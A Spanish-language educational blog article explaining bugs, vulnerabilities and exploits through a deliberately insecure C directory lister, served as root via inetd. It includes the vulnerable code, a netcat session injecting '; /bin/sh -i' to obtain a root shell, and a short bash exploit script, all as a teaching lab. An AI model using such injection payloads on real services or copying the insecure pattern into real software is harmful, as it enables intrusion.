Seguridad para Meros Mortales. Exploits
SEGURIDAD
Seguridad para Meros Mortales. Exploits
2018-07-03
Por
Don Bit0

En esta nueva entrega de Seguridad para Meros Mortales, vamos a profundizar en el tema de los exploits. Veremos con ejemplos sencillos las diferencias entre BUGs, Vulnerabilidades y Exploits y esperamos que con ello todos sepamos un poco más sobre los entresijos de la seguridad informática en el siglo XXI :).

En la introducción de Seguridad para Meros Mortales (SPMM), ya hablamos brevemente de estos conceptos. De todas formas, en este artículo, vamos a repetir lo que ya os contamos, pero con un poco más de detalle.

Como en casi todo hoy en día, resulta difícil proporcionar definiciones absolutas. Todo está sujeto a interpretación, y cada autor tiene su propia definición. Dicho esto, en lo que sigue, intentaré definir estos conceptos de la forma más general posible. La definición en sí no es demasiado importante. Lo que si que es importante son los conceptos tras esas definiciones.

Vamos al temita.

BUGS

Empecemos con los BUGS o errores informáticos. Un BUG es simplemente eso, un error informático. Existen tantos tipos de bugs como de programadores, los cuales, a fin de cuentas, son los que los cometen.

Un BUG puede ser un error en un cálculo, un mensaje que se muestra cuando no toca,, un paquete de datos enviado cuando no le corresponder o que, bajo ciertas circunstancias, contiene información incorrecta. Vamos cualquier tipo de error.

En el caso más general, se suele utilizar la palabra fallo (FLAW en inglés), ya que, en ocasiones, el problema en el programa puede no ser un error de programación, sino un error de configuración (un error en un fichero de configuración, un servicio que no existe,...). En este artículo vamos a centrarnos en los errores de programación, pero bueno, que no digan que no soy yo el que no quiere que tengáis las cosas claras.

Vulnerabilidades

Pues bien, cuando uno de estos BUGS supone un riesgo de seguridad, comenzamos a hablar de vulnerabilidades. Esto lo único que significa, es que ese error de programación puede ser utilizado para comprometer un sistema. No es solo que un mensaje salga en pantalla cuando no debe, sino que alguien puede utilizar ese error para conseguir acceso a tu ordenador y por lo tanto a tus datos.

El hecho de que un determinado programa tenga una vulnerabilidad, no significa inmediatamente que el sistema en el que se ejecuta sistema pueda ser comprometido. Como veremos en breve, eso depende de varias cosas y sobre todo de que alguien escriba un Exploit.

Exploits

Un exploit no es más que un programa (normalmente) que, haciendo uso de una determinada vulnerabilidad puede ser usado para comprometer la seguridad de un determinado sistemas.

Escribir exploits, en general, no es tarea fácil, y requiere habilidades especiales por parte del que los escribe. Lamentablemente, una vez que alguien ha escrito el exploit, cualquiera puede utilizarlo para obtener acceso a una máquina con la vulnerabilidad que el exploit explota (valga la redundancia).

Por otra parte, una vez que un exploit es público, es muy fácil arreglar el BUG que provoca la Vulnerabilidad que utiliza el Exploit (mola como he metido todos los palabros en una sola frase... que no?). O dicho de otra forma, actualizaciones frecuentes del sistema te van a mantener seguro frente a estos ataques en la mayoría de los casos.

Accesibilidad

Para terminar con esta introducción debemos hablar de un último tema. Una cuestión que, en última instancia, es la que convierte una vulnerabilidad en un problema de seguridad real. Estamos hablando del acceso a la vulnerabilidad.

Lo que esto significa es que, aunque un determinado sistema sea vulnerable, si un atacante no tiene acceso a él, no existe un riesgo real. Por supuesto, existe siempre un riesgo potencial... que algo cambie en el futuro y de repente esa vulnerabilidad sea accesible. Vamos que siempre es mejor solucionar el problema que esconderlo.

Supongo que esto puede sonar un poco confuso. Vamos a explicarlo un poco más en detalle. Dejando a un lado los casos más obvios de accesibilidad física o de red (como sucede con las cosas conectadas directamente a internet), en general, los sistemas modernos ofrecen un montón de medidas con las que asegurar su integridad. Protecciones con las que reducir la accesibilidad a estas vulnerabilidades y por lo tanto hacer muy difícil el desarrollo de un exploit. Es decir, la vulnerabilidad está ahí, pero no se puede acceder a ella, no se puede explotar.

A fecha de hoy, esta claro que es imposible crear programas sin bugs. Llegará el día que esto sea posible, pero por el momento, por Haches o por Bes los programas tienen bugs. Así que, una de las soluciones que se han buscado es añadir protecciones a los sistemas para que esos bugs no puedan convertirse fácilmente en vulnerabilidades.

Estas protecciones se encuentra a distintos niveles. Por ejemplo ASLR (Address Space Layout Randomization) se implementa a nivel del sistema operativo. Los canarios de pila (Stack Canary) se implementan a nivel de librerías/compilador. O un firewall (también a nivel del sistema operativo) puede protegernos cuando la red está involucrada en la vulnerabilidad.

Suficiente teoría. Vamos a ver todo esto ahora con un ejemplo práctico, y espero que cualquier cosa que todavía no haya quedado clara se esclarezca inmediatamente. :)

Ejemplo. BUGS

Empecemos con un sencillo programa al que hemos llenado de bugs por razones puramente didácticas. Algo como esto:

#include <stdio.h>
#include <string.h>

int main ()
{
  char cmd[512];
  char buffer[128];

  puts ("[TUFL] The Ultimate Folder Lister");
  puts ("Version 1.0");
  puts ("(c) RancioSA, 2018");
  puts ("Introduce el directorio que quieres listar:");
  flush (NULL);
  gets (buffer);
  sprintf (cmd, "ls %s", buffer);
  system (cmd);
}

Como podéis comprobar este programa es realmente... peligroso. Mogollón de bugs en unas pocas líneas de código... ingreible. Podemos ver un par de buffer overflows (ya hablaremos de eso en el futuro... si vosotros queréis), y una forma de ejecutar código arbitrario!!!!.

Nota: Para los más despistado, compilad el programa, y cuando os pregunte que directorio queréis listar, escribid algo como esto: ;xeyes...

Podemos concluir que este programa asusta un poquillo... no?. Bueno, eso depende de como pretendamos utilizar la aplicación.

Tal y como está ahora, un atacante que pueda ejecutar este programa, lo único que va a poder ejecutar es cualquier otro programa que ya podía ejecutar con los permisos que ya tenía. En otras palabras, lo que un atacante podría hacer explotando esta vulnerabilidad, ya lo podía hacer antes.

Así que, como acabamos de ver, un bug con implicaciones de seguridad no resulta, inmediatamente en la existencia de una vulnerabilidad. Nuestro programa de ejemplo es patético desde el punto de vista de la seguridad, pero, sin embargo no introduce ninguna vulnerabilidad en el sistema que lo ejecute.... La verdad es que eso no nos ayuda mucho, así que vamos a hacerlo vulnerable!!!!

Ejemplo. Vulnerabilidades

La forma más sencilla de convertir nuestro programa de ejemplo en un grave problema de seguridad es ejecutarlo como root o, alternativamente, hacerlo setuid y transferir la propiedad del programa a root (que es básicamente lo mismo).

Como esto es muy aburrido, vamos a convertir este pequeño engendro en una vulnerabilidad remota y así vemos un ejemplo de como estas vulnerabilidades se pueden explotar incluso a través de la red.

Imaginemos que alguien ha tenido la brillante idea de usar este programa para ofrecer un servicio remoto de listado de directorios, sin necesidad de que los usuarios necesiten acceso shell a la máquina. A priori, hasta podría parecer una buena idea desde el punto de vista de la seguridad... sin embargo... MEECCC... cagada.

Para convertir este programa inútil, pero inofensivo en una vulnerabilidad remota monumental vamos a utilizar el super-demonio inetd. Los lectores habituales de Occam's seguro que lo recordáis. Para los nuevos lectores o aquellos con memoria distraída, inetd es un demonio que nos permite convertir cualquier programa que utilice la entrada y salida estándar en un servicio de red, simplemente editando un fichero de configuración... lo cual es muy conveniente en estos momentos.

En general, no querréis utilizar inetd en ningún sistema real. Deberíais incluso evitar la versión mejorada xinetd pero, si en algún momento necesitáis utilizar este tipo de programas, mejor utilizar xinetd. En este ejemplo, vamos a utilizar inetd simplemente porque la configuración es super-sencilla.

Installando y Configurando inetd

En este punto podríais utilizar los paquetes oficiales de vuestra distribución, si bien, es algo que no recomendaría a no ser que estéis utilizando una máquina virtual de usar y tirar.

Nosotros vamos a compilarlo e instalarlo en un directorio temporal de forma que no la liemos.

Comenzamos descargando el código fuente y descomprimiéndolo.

~ $ cd /tmp
/tmp $ wget http://ftp.gnu.org/gnu/inetutils/inetutils-1.9.tar.gz
/tmp $ tar xzvf inetutils-1.9.tar.gz

Ahora ya podemos compilarlo. Yo he deshabilitado todos los servidores y clientes y solo compilado inetd. Así mismo, he configurado el paquete para que se instale en el directorio /tmp/inetd de forma que pueda eliminarlo fácilmente. Si pretendéis hacer más pruebas por vuestra cuenta, quizás sea mejor que lo instaléis en algún otro directorio que no se borre automáticamente al reiniciar la máquina.

Este es el comando que utilicé para configurar inetd

/tmp $ cd inetutils-1.9.4
/tmp/inetutils-1.9.4 $ ./configure --prefix=/tmp/inetd --disable-servers --disable-clients --enable-inetd
/tmp/inetutils-1.9.4 $ make && make install

Ahora ya tenemos nuestro demonio inetd instalado en /tmp/inetd/libexec.

Un servidor Vulnerable

Lo que es realmente güay de inetd es que se ocupa de todos los detalles relacionados con la red. Nuestro programa solo tiene que leer y escribir de la entrada y salida estándar y con eso ya estamos listo. Esto nos viene que ni pintado, ya que eso es precisamente lo que nuestro programa TULF hace!.

Para conseguir que TULF se convierta en un servicio de red, debemos escribir un pequeño fichero de configuración. Este es el que yo he escrito. Los campos relevantes son el primero (el puerto) y el último, el comando a ejecutar.

inetd.conf
8000    stream  tcp nowait  root    /tmp/libexec/tulf

Ahora solo tenemos que copiar nuestro programa vulnerable (al que yo he llamado tulf) en el directorio indicado en el fichero de configuración. En este caso /tmp/libexec. Podéis usar el directorio que queráis, simplemente aseguraros de indicar el path correctamente en el fichero de configuración. Como podéis ver, yo he puesto todos los ficheros que necesito juntos bajo el mismo directorio

Ahora ya podemos ejecutar nuestro servidor.

$ cd /tmp/libexec
/tmp/libexec $ sudo ./inetd -d inetd.conf

Listo. Como podéis ver, he ejecutado el demonio como root, para darle más dramatismo a la cosa. Esto no es necesario a no ser que queramos asignar un puerto menor a 1024 a nuestro servicio.

Probando!

Es hora de probar nuestro pedazo de cráter de seguridad. Tenemos nuestro servicio corriendo como root, así que vamos a ello. Desde otro terminal (o otra máquina) ejecutamos:

$ nc localhost 8000
[TUFL] The Ultimate Folder Lister
Version 1.0
(c) RancioSA, 2018
Enter the folder you want to list:
; /bin/sh -i
inetd
inetd.conf
s
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
#

WoW!... gracias al poder del punto y coma tenemos acceso root a esta máquina. Lo hemos conseguido, acabamos de convertir un programa cutre e inofensivo, en una vulnerabilidad crítica, simplemente cambiando el entorno en el que se ejecuta el programa.

Como podéis ver, lo único que hemos cambiado es la accesibilidad a la vulnerabilidad. Ahora, cualquier persona con acceso a la red puede intentar explotar la vulnerabilidad. Antes solo un atacante con acceso local a la máquina podría hacerlo, y además, en ese caso, la vulnerabilidad no le proporcionaba ninguna ventaja que ya no tuviera.

Un exploit

Estupendo, ahora que ya tenemos una vulnerabilidad remota, es el momento de escribir nuestro exploit. Quizás muchos todavía estéis un poco confusos respecto a que pinta tiene un exploit y que es eso de que es un programa. Bueno, en un segundo saldréis de dudas... o al menos eso espero.

Como dijimos más arriba, un exploit no es más que un programa que automatiza la secuencia de pasos a seguir para explotar una vulnerabilidad. En nuestro caso es muy sencillo, sólo tenemos que enviar por la red la cadena de caracteres ; /bin/sh -i. Como se suele decir PisOfKeik.

Para un caso tan simple como este, vamos a escribir nuestro exploit como un script BASH.

#!/bin/bash

cat <<EOM
=========================================
[TUFL!] Version 1.0 Exploit
por
 ____   ___          ____  _ _    ___
|  _ \ / _ \ _ __   | __ )/ | |_ / _ \
| | | | | | | '_ \  |  _ \| | __| | | |
| |_| | |_| | | | | | |_) | | |_| |_| |
|____/ \___/|_| |_| |____/|_|\__|\___/

Saludos a los lectores de Occam's Razor
+ Now exploiting....
=========================================
EOM
cat <(echo ";/bin/sh -i") - | nc $1 $2

NOTA: Podéis generar banners de arte ASCII/HACKER con herramientas como figlet o toilet

NOTA2:El script de arriba requiere dos parámetros, la IP y el puerto de la máquina ejecutando el servicio remoto. Si queréis probarlo, usad: ./exploit.sh localhost 8000

Como podéis ver, lo más importante del exploit es poner un banner bien chulo y saludar a alguien. Luego vienen los detalles técnicos sin importancia.

En serio, acabamos de crear nuestro primer exploit. De hecho, ya que el desarrollador no se entera de nada y que el programa no es muy popular, nadie se ha percatado de este problema de seguridad y lo que tenemos es un Zero-Day. TOMA YA!!!!

Bueno, se trataba de un Zero-Day hasta que publiqué este artículo... MARDITASEA.

En caso de que hayas estado viviendo en una dimensión paralela, o te hayas perdido la introducción de esta serie, un Zero-Day o 0-Day no es más que un exploit inédito. Nadie lo ha visto antes y tampoco nadie sabe de la vulnerabilidad que explota, por lo cual no existe un parche para el programa y cualquier ataque será, en principio, un éxito.

Una vez que la vulnerabilidad (o el exploit que desde este punto de vista son lo mismo) se hace pública y todo el mundo sabe de ella, el Zero-day se convierte en un simple exploit que solo afectará a aquellos lo suficientemente holgazanes como para no actualizar su sistema. Bueno, tampoco tenemos que ser tan duros. Hay casos y casos, y, en ocasiones, no es fácil, o incluso posible parchear ciertos sistema. Esto suele ocurrir con sistemas muy viejos para los que no se va a generar un parche por parte del desarrollador y los que lo mantienen, o no tienen los medios o las capacidades para generar el parche ellos mismos.

Conclusiones

Bueno, hasta aquí podemos leer. Espero que os haya resultado fácil de seguir este ejemplo y que haya servido para que tengamos más claro que son eso de los exploits y las vulnerabilidades y como el entorno puede hacer que algo inofensivo se convierta en un grave problema.

Si estáis interesados en saber más sobre vulnerabilidades más complicadas y sus técnicas de explotación y protección asociadas, dejad un comentario. Si no hay comentario tendremos que suponer que el tema no interesa y, como se suele decir, a otra cosa mariposa!

Para términar... como parchearíais el programa TULF?... ideas, parches ejemplos... Esperaremos pacientemente por ellas :)

Header Image Credits: Casey Horner

SOBRE Don Bit0
No os podemos contar mucho sobre Don Bit0. Es un tipo misterioso que de vez en cuando colabora con nosotros y luego, simplemente se desvanece. Como os podéis imaginar por su nick, Don Bit0, está cómodo en el bajo nivel, entre bits, y cerquita del HW que lo mantiene calentito.